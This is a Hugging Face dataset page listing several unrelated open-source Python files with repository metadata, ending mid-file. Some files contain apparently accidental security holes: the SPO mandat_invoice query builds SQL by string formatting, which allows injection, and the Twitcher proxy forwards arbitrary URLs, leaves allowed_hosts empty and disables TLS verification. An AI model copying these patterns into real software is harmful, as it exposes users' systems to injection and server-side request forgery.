xszheng2020/the_stack_dedup_python_hits_2 · Datasets at Hugging Face

29c5b6d5e37c256dbd101b9f9d2e7691b0313aef

494

py

Python

Backend/core/users/urls.py

Extraordinary01/freshnesecom

e16047d7f8a8d771125c4656351bae2b4389a1a6

[ "MIT" ]

null

Backend/core/users/urls.py

Extraordinary01/freshnesecom

e16047d7f8a8d771125c4656351bae2b4389a1a6

[ "MIT" ]

null

Backend/core/users/urls.py

Extraordinary01/freshnesecom

e16047d7f8a8d771125c4656351bae2b4389a1a6

[ "MIT" ]

null

from django.urls import path from .views import UserRetrieveUpdateDestroyView, activate, register, CheckUserAPIView, custom_login, reset_password, reset_password_email urlpatterns = [ path("user/", UserRetrieveUpdateDestroyView.as_view()), path("signup/", register), path("check/", CheckUserAPIView.as_view()), path("login/", custom_login), path("activate/", activate), path("reset-password/email/", reset_password_email), path("reset-password/", reset_password) ]

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494

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null

1

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null

0

1

0

2

29ed430dcb5413550cc35533f616785fbc2e32fa

1,198

py

Python

invenio_records_resources/resources/files/loaders.py

FlorianCassayre/invenio-records-resources

80a2f6565653fd00e08c85b5aa8d1b1276cbb4e7

[ "MIT" ]

null

invenio_records_resources/resources/files/loaders.py

FlorianCassayre/invenio-records-resources

80a2f6565653fd00e08c85b5aa8d1b1276cbb4e7

[ "MIT" ]

null

invenio_records_resources/resources/files/loaders.py

FlorianCassayre/invenio-records-resources

80a2f6565653fd00e08c85b5aa8d1b1276cbb4e7

[ "MIT" ]

null

# -*- coding: utf-8 -*- # # Copyright (C) 2020 CERN. # # Invenio-Records-Resources is free software; you can redistribute it and/or # modify it under the terms of the MIT License; see LICENSE file for more # details. """Files loaders.""" from flask import request from flask_resources.deserializers import DeserializerMixin from flask_resources.loaders import RequestLoader class StreamDeserializer(DeserializerMixin): """Stream deserializer.""" def deserialize_data(self, data, *args, **kwargs): """Deserializes a stream.""" return data class RequestStreamLoader(RequestLoader): """Loaded request representation for streams.""" def __init__(self, deserializer=None, args_parser=None, *args, **kwargs): """Constructor.""" self.deserializer = deserializer or StreamDeserializer() self.args_parser = args_parser def load_data(self): """Load data from request stream.""" return request.stream def load_item_request(self, *args, **kwargs): """Build request context.""" return { "request_stream": request.stream, "request_content_length": request.content_length, }

28.52381

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null

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null

0

1

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1

0

2

29ef0c133b11ec2729d3f3fae560acaa93314a16

8,251

py

Python

twitcher/owsproxy.py

Ouranosinc/twitcher

78cd4806d98c75b408355db86d388134776471a7

[ "Apache-2.0" ]

null

twitcher/owsproxy.py

Ouranosinc/twitcher

78cd4806d98c75b408355db86d388134776471a7

[ "Apache-2.0" ]

7

2018-06-20T14:02:39.000Z

2019-09-27T14:01:18.000Z

twitcher/owsproxy.py

Ouranosinc/twitcher

78cd4806d98c75b408355db86d388134776471a7

[ "Apache-2.0" ]

null

""" The owsproxy is based on `papyrus_ogcproxy <https://github.com/elemoine/papyrus_ogcproxy>`_ See also: https://github.com/nive/outpost/blob/master/outpost/proxy.py """ import urllib import requests from pyramid.response import Response from pyramid.settings import asbool from twitcher._compat import urlparse from twitcher.owsexceptions import OWSAccessForbidden, OWSAccessFailed from twitcher.utils import replace_caps_url from twitcher.store import servicestore_factory import logging LOGGER = logging.getLogger(__name__) allowed_content_types = ( "application/xml", # XML "text/xml", "text/xml;charset=ISO-8859-1" "application/vnd.ogc.se_xml", # OGC Service Exception "application/vnd.ogc.se+xml", # OGC Service Exception # "application/vnd.ogc.success+xml", # OGC Success (SLD Put) "application/vnd.ogc.wms_xml", # WMS Capabilities # "application/vnd.ogc.gml", # GML # "application/vnd.ogc.sld+xml", # SLD "application/vnd.google-earth.kml+xml", # KML "application/vnd.google-earth.kmz", "image/png", # PNG "image/png;mode=32bit", "image/gif", # GIF "image/jpeg", # JPEG "application/json", # JSON "application/json;charset=ISO-8859-1", ) # TODO: configure allowed hosts allowed_hosts = ( # list allowed hosts here (no port limiting) # "localhost", ) # requests.models.Reponse defaults its chunk size to 128 bytes, which is very slow class BufferedResponse(): def __init__(self, resp): self.resp = resp def __iter__(self): return self.resp.iter_content(64 * 1024) def _send_request(request, service, extra_path=None, request_params=None): # TODO: fix way to build url url = service['url'] if extra_path: url += '/' + extra_path if request_params: url += '?' + request_params LOGGER.debug('url = %s', url) # forward request to target (without Host Header) h = dict(request.headers) h.pop("Host", h) h['Accept-Encoding'] = None # service_type = service['type'] if service_type and (service_type.lower() != 'wps'): try: resp_iter = requests.request(method=request.method.upper(), url=url, data=request.body, headers=h, stream=True) except Exception as e: return OWSAccessFailed("Request failed: {}".format(e.message)) # Headers meaningful only for a single transport-level connection HopbyHop = ['Connection', 'Keep-Alive', 'Public', 'Proxy-Authenticate', 'Transfer-Encoding', 'Upgrade'] return Response(app_iter=BufferedResponse(resp_iter), headers={k: v for k, v in resp_iter.headers.iteritems() if k not in HopbyHop}) else: try: resp = requests.request(method=request.method.upper(), url=url, data=request.body, headers=h) except Exception, e: return OWSAccessFailed("Request failed: {}".format(e.message)) if resp.ok is False: if 'ExceptionReport' in resp.content: pass else: return OWSAccessFailed("Response is not ok: {}".format(resp.reason)) # check for allowed content types ct = None # LOGGER.debug("headers=", resp.headers) if "Content-Type" in resp.headers: ct = resp.headers["Content-Type"] if not ct.split(";")[0] in allowed_content_types: msg = "Content type is not allowed: {}.".format(ct) LOGGER.error(msg) return OWSAccessForbidden(msg) else: # return OWSAccessFailed("Could not get content type from response.") LOGGER.warn("Could not get content type from response") try: if ct in ['text/xml', 'application/xml', 'text/xml;charset=ISO-8859-1']: # replace urls in xml content proxy_url = request.route_url('owsproxy', service_name=service['name']) # TODO: where do i need to replace urls? content = replace_caps_url(resp.content, proxy_url, service.get('url')) else: # raw content content = resp.content except Exception: return OWSAccessFailed("Could not decode content.") headers = {} if ct: headers["Content-Type"] = ct return Response(content, status=resp.status_code, headers=headers) def owsproxy_url(request): url = request.params.get("url") if url is None: return OWSAccessFailed("URL param is missing.") service_type = request.GET.get('service', 'wps') or request.GET.get('SERVICE', 'wps') # check for full url parsed_url = urlparse(url) if not parsed_url.netloc or parsed_url.scheme not in ("http", "https"): return OWSAccessFailed("Not a valid URL.") return _send_request(request, service=dict(url=url, name='external', service_type=service_type)) def owsproxy(request): """ TODO: use ows exceptions """ try: service_name = request.matchdict.get('service_name') extra_path = request.matchdict.get('extra_path') store = servicestore_factory(request.registry) service = store.fetch_by_name(service_name) except Exception as err: return OWSAccessFailed("Could not find service: {}.".format(err.message)) else: return _send_request(request, service, extra_path, request_params=request.query_string) def owsproxy_delegate(request): """ Delegates owsproxy request to external twitcher service. """ twitcher_url = request.registry.settings.get('twitcher.url') protected_path = request.registry.settings.get('twitcher.ows_proxy_protected_path', '/ows') url = twitcher_url + protected_path + '/proxy' if request.matchdict.get('service_name'): url += '/' + request.matchdict.get('service_name') if request.matchdict.get('access_token'): url += '/' + request.matchdict.get('service_name') url += '?' + urllib.urlencode(request.params) LOGGER.debug("delegate to owsproxy: %s", url) # forward request to target (without Host Header) # h = dict(request.headers) # h.pop("Host", h) resp = requests.request(method=request.method.upper(), url=url, data=request.body, headers=request.headers, verify=False) return Response(resp.content, status=resp.status_code, headers=resp.headers) def includeme(config): settings = config.registry.settings protected_path = settings.get('twitcher.ows_proxy_protected_path', '/ows') if asbool(settings.get('twitcher.ows_proxy', True)): LOGGER.debug('Twitcher {}/proxy enabled.'.format(protected_path)) config.add_route('owsproxy', protected_path + '/proxy/{service_name}') # TODO: maybe configure extra path config.add_route('owsproxy_extra', protected_path + '/proxy/{service_name}/{extra_path:.*}') config.add_route('owsproxy_secured', protected_path + '/proxy/{service_name}/{access_token}') # use delegation mode? if asbool(settings.get('twitcher.ows_proxy_delegate', False)): LOGGER.debug('Twitcher {}/proxy delegation mode enabled.'.format(protected_path)) config.add_view(owsproxy_delegate, route_name='owsproxy') config.add_view(owsproxy_delegate, route_name='owsproxy_secured') else: # include twitcher config config.include('twitcher.config') # include mongodb config.include('twitcher.db') config.add_view(owsproxy, route_name='owsproxy') config.add_view(owsproxy, route_name='owsproxy_secured') config.add_view(owsproxy, route_name='owsproxy_extra') # use /owsproxy? if asbool(settings.get('twitcher.ows_proxy_url', True)): LOGGER.debug('Twitcher /owsproxy enabled.') config.add_route('owsproxy_url', '/owsproxy') config.add_view(owsproxy_url, route_name='owsproxy_url')

39.478469

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8,251

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0.336013

0.278965

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8,251

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null

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null

0

null

0

null

0

1

0

1

0

2

4b0387dd6595c147f8f9554794056d6e4ecf303e

514

py

Python

dusty/commands/shell.py

gamechanger/dusty

dd9778e3a4f0c623209e53e98aa9dc1fe76fc309

[ "MIT" ]

421

2015-06-02T16:29:59.000Z

2021-06-03T18:44:42.000Z

dusty/commands/shell.py

gamechanger/dusty

dd9778e3a4f0c623209e53e98aa9dc1fe76fc309

[ "MIT" ]

404

2015-06-02T20:23:42.000Z

2019-08-21T16:59:41.000Z

dusty/commands/shell.py

gamechanger/dusty

dd9778e3a4f0c623209e53e98aa9dc1fe76fc309

[ "MIT" ]

16

2015-06-16T17:21:02.000Z

2020-03-27T02:27:09.000Z

from ..compiler.spec_assembler import get_specs from . import utils from ..systems.docker import get_dusty_container_name def execute_shell(app_or_service_name): specs = get_specs() if app_or_service_name not in [spec.name for spec in specs.get_apps_and_services()]: raise KeyError('No app or service found named {}'.format(app_or_service_name)) exec_options = utils.exec_docker_options() utils.exec_docker('exec', exec_options, get_dusty_container_name(app_or_service_name), '/bin/bash')

46.727273

103

0.780156

80

514

4.6375

0.45

0.067385

0.161725

0.172507

0

0.128405

514

10

104

51.4

0.828125

0

0.087549

0

1

0.111111

false

0

0.333333

0

0.444444

0

null

0

1

0

null

0

1

0

2

4b0977a5ab8558b20c59dbf03ddb7ba67c5eb19b

278

py

Python

server/server/termsofuse/api/serializers.py

connectiveproject/connective

8866082b2147feef0e5254ac4215987b9d881396

[ "MIT" ]

4

2021-07-05T10:49:26.000Z

2021-11-24T11:34:43.000Z

server/server/termsofuse/api/serializers.py

connectiveproject/connective

8866082b2147feef0e5254ac4215987b9d881396

[ "MIT" ]

39

2021-06-21T15:02:37.000Z

2022-02-28T15:07:42.000Z

server/server/termsofuse/api/serializers.py

connectiveproject/connective

8866082b2147feef0e5254ac4215987b9d881396

[ "MIT" ]

17

2021-06-16T08:59:45.000Z

2021-09-29T11:35:38.000Z

from rest_framework import serializers from ..models import TermsOfUseDocument class TermsOfUseDocumentSerializer(serializers.ModelSerializer): class Meta: model = TermsOfUseDocument fields = ["document_text"] read_only_fields = ["document_text"]

25.272727

64

0.748201

25

278

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0.137931

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0

0.18705

278

10

65

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0.89823

0

0.093525

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false

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0.285714

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0

1

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null

0

null

0

1

0

2

4b18bec3031043bd614f7445f297413e4dc84dc1

1,108

py

Python

PYPI python package/multivicks/crud.py

imvickykumar999/100th-Repository-Morsetor-python-Package

6dce1df886e1ea0563a4cae53932b654d549315b

[ "MIT" ]

2

2020-11-07T07:21:11.000Z

2020-11-07T07:53:32.000Z

PYPI python package/multivicks/crud.py

imvickykumar999/100th-Repository-Morsetor-python-Package

6dce1df886e1ea0563a4cae53932b654d549315b

[ "MIT" ]

null

PYPI python package/multivicks/crud.py

imvickykumar999/100th-Repository-Morsetor-python-Package

6dce1df886e1ea0563a4cae53932b654d549315b

[ "MIT" ]

1

2020-11-10T06:49:05.000Z

# pip install imvickykumar999 # C:\Users\Vicky\anaconda3\Lib\site-packages\vicksbase class HomeAutomation: def __init__(self, link): try: from vicksbase import firebase as f self.link = link self.firebase_obj = f.FirebaseApplication(self.link, None) print(self.pull(child = '/')) except Exception as e: print(e) print('try: pip install imvickykumar999') def show(self): return self.link def pull(self, child = 'A/B/C/Switch'): result = self.firebase_obj.get(f'{child}', None) return result def push(self, data = 1, child = 'A/B/C/Switch'): self.firebase_obj.put('/', child, data) return self.pull(child = '/') def remove(self, child = 'A/B/C/led2'): data = self.firebase_obj.delete('/', child) return self.pull(child = '/') # link = 'https://led-blink-wifi-default-rtdb.firebaseio.com/' # obj = HomeAutomation(link) # f = obj.show() # f = obj.pull() # f = obj.push(1) # f = obj.remove() # print(f) # input('Press Enter to Exit...')

25.181818

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0.588448

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1,108

4.472222

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0.093168

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0.259025

1,108

43

71

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false

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null

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null

0

1

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1

0

2

4b19ea7ef02e099c43c87d4eeeed72882f3212a4

152

py

Python

python_learning/check_num.py

liu0g/hello-World

45eb76c56e082657d0f4af0a5eb49244b369a412

[ "MIT" ]

null

python_learning/check_num.py

liu0g/hello-World

45eb76c56e082657d0f4af0a5eb49244b369a412

[ "MIT" ]

null

python_learning/check_num.py

liu0g/hello-World

45eb76c56e082657d0f4af0a5eb49244b369a412

[ "MIT" ]

null

__author__ = 'lg' a = raw_input() if a > 0: print('positive number') elif a < 0: print('negative number') else: print('the number is zero')

16.888889

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23

152

3.869565

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0.044944

0.157303

0

0.017094

0.230263

152

9

31

16.888889

0.74359

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false

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1

0

null

0

1

0

null

0

2

4b1d3dca6a1626c014a1c6d63353cec64b5b9b02

7,517

py

Python

src/typefit/serialize.py

Xowap/typefit

a1beedcc4b05be6d22063719e7e2aa8c3f2c35b3

[ "WTFPL" ]

5

2019-10-28T15:40:03.000Z

2021-03-16T21:07:25.000Z

src/typefit/serialize.py

Xowap/typefit

a1beedcc4b05be6d22063719e7e2aa8c3f2c35b3

[ "WTFPL" ]

32

2019-10-19T08:40:12.000Z

2022-01-21T19:07:09.000Z

src/typefit/serialize.py

Xowap/typefit

a1beedcc4b05be6d22063719e7e2aa8c3f2c35b3

[ "WTFPL" ]

3

2019-10-28T15:42:49.000Z

2022-01-18T19:18:06.000Z

from collections import ChainMap, abc from dataclasses import fields, is_dataclass from datetime import date, datetime from enum import Enum from json import dumps from typing import Any, get_type_hints from uuid import UUID from .meta import Source class Serializer: """ Base serializer, that has no opinion and will serialize anything that is 100% to serialize without making any assumption. Supported types are: - Numbers (int, float) - Booleans - Strings - Sequences - Mappings - Named (and typed) tuples - Dataclasses (including with Typefit metadata in the field) - Any object with a `__typefit_serialize__()` method - Enums You'll notice that the behavior of this class is a best effort to make something sane and simple. This means there is no warranty that this works: >>> base: SomeData = # Some data >>> serialized = serialize(base) >>> assert typefit(SomeData, serialized) == base If you want more types to be recognized by this serializer, you can inherit from it and extend the :py:meth:`~.Serializer.find_serializer()` method. If you don't know where to look, check out the following methods: - :py:meth:`~.typefit.serialize.Serializer.serialize` - :py:meth:`~.typefit.serialize.Serializer.json` See Also -------- SaneSerializer """ def find_serializer(self, obj: Any): """ Trying to be as generic as possible. There is a few tricks there, like strings which are also sequences so the order of tests matters quite a lot. Please override this if you want to change the behavior. See how it's done in :py:class:`~.typefit.serialize.SaneSerializer` for an idea on how to do it. """ if hasattr(obj, "__typefit_serialize__"): return self.serialize_typefit elif isinstance(obj, (int, float, bool, str)) or obj is None: return self.serialize_generic elif isinstance(obj, tuple) and hasattr(obj, "_fields"): return self.serialize_tuple elif is_dataclass(obj): return self.serialize_dataclass elif isinstance(obj, abc.Sequence): return self.serialize_sequence elif isinstance(obj, abc.Mapping): return self.serialize_mapping elif isinstance(obj, Enum): return self.serialize_enum def serialize_generic(self, obj: Any) -> Any: """ By default, leave the object untouched """ return obj def serialize_tuple(self, obj: tuple): """ Named tuples are expected to have typing annotations, we'll use that as a reference to get the fields list, however types are not enforced. """ return { k: self.serialize(getattr(obj, k)) for k in get_type_hints(obj.__class__) } def serialize_sequence(self, obj: abc.Sequence): """ Sequences are converted to regular lists, and each item of the list is recursively serialized. """ return [self.serialize(x) for x in obj] def serialize_typefit(self, obj: Any): """ Serializes an object by calling its `__typefit_serialize__()` method. """ return obj.__typefit_serialize__() def serialize_dataclass(self, obj: Any): """ Dataclasses are mappings but they merit a special attention due to the fact that their fields are not necessarily the fields that will be used in the output, thanks to the `meta(source=X)` feature. Notes ----- See :py:class:`~.typefit.meta.Source`, but basically the conversion to JSON structure generates a series of dictionaries that are then superposed into a single dictionary and returned. All values of this dictionary are of course recursively serialized. """ def _get_values(): for field in fields(obj.__class__): if field.metadata and "typefit_source" in field.metadata: source: Source = field.metadata["typefit_source"] yield { k: self.serialize(v) for k, v in source.value_to_json(field.name, obj).items() } else: yield {field.name: self.serialize(getattr(obj, field.name))} return dict(ChainMap(*_get_values())) def serialize_mapping(self, obj: abc.Mapping): """ Mappings are just copied into another mapping. While copying, all the values are recursively serialized. """ return {k: self.serialize(v) for k, v in obj.items()} def serialize_enum(self, obj: Enum): """ Enums are serialized into their value. """ return self.serialize(obj.value) def serialize(self, obj: Any): """ Transforms a given object into a structure of basic types which can easily be serialized to JSON. It is not a strict inverse of :py:func:`~.typefit.typefit` but it should be good enough for most uses. Please note that this at least assumes that objects are consistent with their type declarations, no additional security is put in place. This method relies on the :py:meth:`~.Serializer.find_serializer()` method, which means that if you implement a subclass in order to change the mapping of serialization functions you should override :py:meth:`~.Serializer.find_serializer()`. Parameters ---------- obj Object to be serialized """ serializer = self.find_serializer(obj) return serializer(obj) def json(self, obj: Any) -> str: """ Shortcut to transform an object into a JSON string going through :py:meth:`~.serialize`. """ return dumps(self.serialize(obj)) class SaneSerializer(Serializer): """ Opinionated version of what sane default for non-JSON-standard types should be. Comes as an extension of :py:class:`~.Serializer`. - Dates are serialized to the ISO format - UUIDs are serialized into their default str() representation """ def find_serializer(self, obj: Any): """ Tries to find special cases and if none of them are matched then resort to the parent method. """ if isinstance(obj, datetime): return self.serialize_std_datetime elif isinstance(obj, date): return self.serialize_std_date elif isinstance(obj, UUID): return self.serialize_uuid else: return super().find_serializer(obj) def serialize_uuid(self, obj: UUID): """ UUIDs are simply converted to strings """ return f"{obj}" def serialize_std_datetime(self, obj: datetime): """ Datetime are converted into ISO format """ return obj.isoformat() def serialize_std_date(self, obj: date): """ Dates are converted to ISO format """ return obj.isoformat() def serialize(obj: Any) -> Any: """ Shortcut to use the :py:class:`~.typefit.serialize.SaneSerializer`'s :py:meth:`~.typefit.serialize.Serializer.serialize` method. Parameters ---------- obj Object to be serializer """ return SaneSerializer().serialize(obj)

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4b254f85ca684200ef8973061a3a39dab730b676

2,632

py

Python

spo/utils/mandat_invoice.py

libracore/spo

c6617a4624d683e27ee3fde745313c30504f3fd1

[ "MIT" ]

null

spo/utils/mandat_invoice.py

libracore/spo

c6617a4624d683e27ee3fde745313c30504f3fd1

[ "MIT" ]

6

2019-08-23T18:36:26.000Z

2019-11-12T13:12:12.000Z

spo/utils/mandat_invoice.py

libracore/spo

efff6da53a776c4483f06d9ef1acc8a7aa96b28e

[ "MIT" ]

1

2021-08-14T22:22:43.000Z

# -*- coding: utf-8 -*- # Copyright (c) 2019, libracore and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe @frappe.whitelist() def get_mandat_logs(mandat): mandat = frappe.get_doc("Mandat", mandat) referenz_anfrage = mandat.anfragen if referenz_anfrage: referenz_anfrage = " OR `spo_referenz` = '{referenz_anfrage}'".format(referenz_anfrage=referenz_anfrage) else: referenz_anfrage = '' logs = frappe.db.sql("""SELECT `tabTimesheet Detail`.`hours`, `tabTimesheet Detail`.`spo_dokument`, `tabTimesheet Detail`.`spo_remark`, `tabTimesheet Detail`.`from_time`, `tabTimesheet Detail`.`owner`, `employee` AS `employee_name` FROM `tabTimesheet Detail` INNER JOIN `tabEmployee` ON `tabTimesheet Detail`.`owner` = `tabEmployee`.`user_id` WHERE `tabTimesheet Detail`.`nicht_verrechnen` != 1 AND `tabTimesheet Detail`.`spo_referenz` = '{reference}' OR `tabTimesheet Detail`.`spo_referenz` IN ( SELECT `name` FROM `tabAnforderung Patientendossier` WHERE `mandat` = '{reference}') OR `tabTimesheet Detail`.`spo_referenz` IN ( SELECT `name` FROM `tabMedizinischer Bericht` WHERE `mandat` = '{reference}') OR `tabTimesheet Detail`.`spo_referenz` IN ( SELECT `name` FROM `tabTriage` WHERE `mandat` = '{reference}') OR `tabTimesheet Detail`.`spo_referenz` IN ( SELECT `name` FROM `tabVollmacht` WHERE `mandat` = '{reference}') OR `tabTimesheet Detail`.`spo_referenz` IN ( SELECT `name` FROM `tabAbschlussbericht` WHERE `mandat` = '{reference}') {referenz_anfrage} ORDER BY `tabTimesheet Detail`.`from_time`, `tabTimesheet Detail`.`idx` ASC""".format(reference=mandat.name, referenz_anfrage=referenz_anfrage), as_dict=True) return { 'logs': logs, 'rsv': mandat.rsv, 'rate': mandat.stundensatz }

59.818182

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0.50228

209

2,632

6.167464

0.368421

0.223429

0.130334

0.134988

0.319628

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0

0.003805

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2,632

44

192

59.818182

0.81357

0.044073

0

0.128205

0

0.779757

0.099595

0

1

0.025641

false

0

0.051282

0

0.102564

0

null

1

0

1

0

null

0

2

d99b281133c5e2a0516d4d5e84a0056c5980fc1d

71

py

Python

aula15/programa01.py

NicoCassio/cursoemvideo-python

2686ff74f4d45bdb0dc194f49f4dd19aae629d52

[ "MIT" ]

null

aula15/programa01.py

NicoCassio/cursoemvideo-python

2686ff74f4d45bdb0dc194f49f4dd19aae629d52

[ "MIT" ]

null

aula15/programa01.py

NicoCassio/cursoemvideo-python

2686ff74f4d45bdb0dc194f49f4dd19aae629d52

[ "MIT" ]

null

i = 1 while True: print(i) i += 1 if i > 10: break

10.142857

14

0.408451

12

71

2.416667

0.666667

0.137931

0

0.108108

0.478873

71

6

15

11.833333

0.675676

0

1

0

false

0

0.166667

1

0

null

0

1

0

null

0

2

d9b01f6045fe4f5394efddef5743f95dbd28ab38

3,762

py

Python

cloudbaseinit/plugins/common/createuser.py

micumatei/cloudbase-init

68a9ae57d453e0f59869daeadda5a80e0380ac9f

[ "Apache-2.0" ]

null

cloudbaseinit/plugins/common/createuser.py

micumatei/cloudbase-init

68a9ae57d453e0f59869daeadda5a80e0380ac9f

[ "Apache-2.0" ]

null

cloudbaseinit/plugins/common/createuser.py

micumatei/cloudbase-init

68a9ae57d453e0f59869daeadda5a80e0380ac9f

[ "Apache-2.0" ]

1

2017-06-30T21:52:39.000Z

# Copyright 2012 Cloudbase Solutions Srl # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import abc from oslo_log import log as oslo_logging import six from cloudbaseinit import conf as cloudbaseinit_conf from cloudbaseinit.osutils import factory as osutils_factory from cloudbaseinit.plugins.common import base from cloudbaseinit.plugins.common import constants CONF = cloudbaseinit_conf.CONF LOG = oslo_logging.getLogger(__name__) @six.add_metaclass(abc.ABCMeta) class BaseCreateUserPlugin(base.BasePlugin): """This is a base class for creating or modifying an user.""" @abc.abstractmethod def create_user(self, username, password, osutils): """Create a new username, with the given *username*. This will be called by :meth:`~execute`, whenever a new user must be created. """ @abc.abstractmethod def post_create_user(self, user_name, password, osutils): """Executes post user creation logic. This will be called after by :meth:`~execute`, after the user is created or the user password is updated. """ @staticmethod def _get_password(osutils): # Generate a temporary random password to be replaced # by SetUserPasswordPlugin (starting from Grizzly) maximum_length = osutils.get_maximum_password_length() return osutils.generate_random_password(maximum_length) def execute(self, service, shared_data): user_name = service.get_admin_username() or CONF.username shared_data[constants.SHARED_DATA_USERNAME] = user_name osutils = osutils_factory.get_os_utils() password = self._get_password(osutils) if CONF.rename_admin_user: admin_user_name = [u for u in osutils.enum_users() if osutils.is_builtin_admin(u)][0] if admin_user_name.lower() != user_name.lower(): LOG.info('Renaming builtin admin user "%(admin_user_name)s" ' 'to %(new_user_name)s and setting password', {'admin_user_name': admin_user_name, 'new_user_name': user_name}) osutils.rename_user(admin_user_name, user_name) osutils.set_user_password(user_name, password) else: LOG.info('"%s" is already the name of the builtin admin ' 'user, skipping renaming', user_name) elif osutils.user_exists(user_name): LOG.info('Setting password for existing user "%s"', user_name) osutils.set_user_password(user_name, password) else: LOG.info('Creating user "%s" and setting password', user_name) self.create_user(user_name, password, osutils) # TODO(alexpilotti): encrypt with DPAPI shared_data[constants.SHARED_DATA_PASSWORD] = password self.post_create_user(user_name, password, osutils) for group_name in CONF.groups: try: osutils.add_user_to_local_group(user_name, group_name) except Exception: LOG.exception('Cannot add user to group "%s"', group_name) return base.PLUGIN_EXECUTION_DONE, False

39.1875

78

0.669059

478

3,762

5.075314

0.338912

0.075845

0.032152

0.028442

0.158697

0.074196

0.046991

0

0.003218

0.256512

3,762

95

79

39.6

0.86414

0.280436

0

0.117647

0

0.112338

0.007997

0

0.010526

0

1

0.078431

false

0.27451

0.137255

0

0.27451

0

null

0

null

0

1

0

1

0

2

d9b94090be8b44fb2a59944da1ade6c1a818b945

19,437

py

Python

carriage/map.py

d2207197/maybee

bfe71b46b46d8572b8f8e01964eceb76fc1decef

[ "Apache-2.0" ]

10

2018-04-09T09:59:17.000Z

2021-09-23T05:43:09.000Z

carriage/map.py

d2207197/maybee

bfe71b46b46d8572b8f8e01964eceb76fc1decef

[ "Apache-2.0" ]

7

2018-06-06T08:01:59.000Z

2018-08-24T13:52:27.000Z

carriage/map.py

d2207197/maybee

bfe71b46b46d8572b8f8e01964eceb76fc1decef

[ "Apache-2.0" ]

1

2018-06-20T03:27:58.000Z

import heapq import itertools as itt import operator as op from collections import OrderedDict, UserDict, defaultdict from .array import Array from .optional import Nothing, Some from .repr import short_repr from .row import KeyValue, Row from .stream import Stream def identity(_): return _ class Map(OrderedDict): '''A mutable dictionary enhanced with a bulk of useful methods. ''' def items(self): return Stream(super().items()).starmap(KeyValue) def values(self): return Stream(super().values()) def keys(self): return Stream(super().keys()) def update(self, *args, **kwds): '''Update Map from dict/iterable and ``return self`` >>> m = Map(a=3, b=4) >>> m2 = m.update(a=5, c=3).update({'d': 2}) >>> m is m2 True >>> m Map({'a': 5, 'b': 4, 'c': 3, 'd': 2}) ''' super().update(*args, **kwds) return self def updated(self, *args, **kwds): '''Create a new Map instance that is updated from dict/iterable. This method is the same as ``m.copy().update(...)`` >>> m = Map(a=3, b=4) >>> m2 = m.updated(a=5, c=3).update({'d': 2}) >>> m2 Map({'a': 5, 'b': 4, 'c': 3, 'd': 2}) >>> m Map({'a': 3, 'b': 4}) ''' m = self.copy() return m.update(*args, **kwds) def join(self, *others, fillvalue=None, agg=None): """Create a new Map instance with keys merged and values joined. >>> m1 = Map(a=1, b=2) >>> m2 = m1.join(dict(a=3, b=4, c=5)) >>> m2 is m1 False >>> m2 Map({'a': Row(f0=1, f1=3), 'b': Row(f0=2, f1=4), 'c': Row(f0=None, f1=5)}) >>> m1 = Map(a=1, b=2) >>> m2 = m1.join(dict(a=3, b=4, c=5), agg=sum, fillvalue=0) >>> m2 Map({'a': 4, 'b': 6, 'c': 5}) """ return Map(self.iter_joined(*others, fillvalue=fillvalue, agg=agg)) def iter_joined(self, *others, fillvalue=None, agg=None): """Create a ``Row(key, Row(v0, v1, ...))`` iterator with keys from all Maps and value joined. >>> m = Map(a=1, b=2) >>> l = list(m.iter_joined( ... Map(a=3, b=4, c=5), ... Map(a=6, c=7), ... fillvalue=0)) >>> l[0] Row(key='a', values=Row(f0=1, f1=3, f2=6)) >>> l[1] Row(key='b', values=Row(f0=2, f1=4, f2=0)) >>> l[2] Row(key='c', values=Row(f0=0, f1=5, f2=7)) """ if agg is None: agg = identity keys = list(self.keys()) keys_set = set(keys) for other in others: for key in other.keys(): if key not in keys_set: keys_set.add(key) keys.append(key) dicts = (self,) + others for key in keys: yield Row(key=key, values=agg(Row.from_values( d.get(key, fillvalue) for d in dicts))) def __repr__(self): return f'Map({self.make_string()})' def map(self, func): '''Create a new Map instance that each key, value pair is derived by applying function to original key, value. >>> Map(a=3, b=4).map(lambda k, v: (v, k)) Map({3: 'a', 4: 'b'}) Parameters ---------- func : ``pred(key, value) -> (key, value)`` function for computing new key/value pair ''' return Map(func(key, value) for key, value in self.items()) def map_keys(self, func): '''Create a new Map instance that all values remains the same, while each corresponding key is updated by applying function to original key, value. >>> Map(a=3, b=4).map_keys(lambda k, v: k + '_1') Map({'a_1': 3, 'b_1': 4}) Parameters ---------- func : ``pred(key, value) -> key`` function for computing new keys ''' return Map((func(key, value), value) for key, value in self.items()) def map_values(self, func): '''Create a new Map instance that all keys remains the same, while each corresponding value is updated by applying function to original key, value. >>> Map(a=3, b=4).map_values(lambda k, v: v * 2) Map({'a': 6, 'b': 8}) Parameters ---------- func : ``pred(key, value) -> value`` function for computing new values ''' return Map((key, func(key, value)) for key, value in self.items()) def revamp_values(self, func): '''Update values of current Map and return self. Each value is derived by computing the function using both key and value. >>> m = Map(a=3, b=4) >>> m.revamp_values(lambda k, v: v * 2) Map({'a': 6, 'b': 8}) >>> m Map({'a': 6, 'b': 8}) Parameters ---------- func : ``pred(key, value) -> value`` function for computing new values Returns ------- self ''' for key, value in self.items(): self[key] = func(key, value) return self def keep(self, *keys): '''Delete keys not specified and return self >>> m = Map(a=3, b=4, c=5) >>> m.keep('a', 'c') Map({'a': 3, 'c': 5}) >>> m Map({'a': 3, 'c': 5}) Returns ------- self ''' keys = set(keys) current_keys = set(self.keys()) keys_to_delete = current_keys - keys for key, in keys_to_delete: del self[key] return self def project(self, *keys): '''Create a new Map instance contains only specified keys. >>> m = Map(a=3, b=4, c=5) >>> m.project('a', 'c') Map({'a': 3, 'c': 5}) >>> m Map({'a': 3, 'b': 4, 'c': 5}) Returns ------- Map[key, value] ''' return Map((k, self[k]) for k in keys) def get_opt(self, key): '''Get the value of specified key as Optional type. Return Some(value) if key exists, otherwise return Nothing. >>> m = Map(a=3, b=4) >>> m.get_opt('a') Some(3) >>> m.get_opt('c') Nothing >>> m.get_opt('a').map(lambda v: v * 2) Some(6) >>> m.get_opt('c').map(lambda v: v * 2) Nothing Returns ------- Optional[value] ''' if key in self: return Some(self[key]) return Nothing def 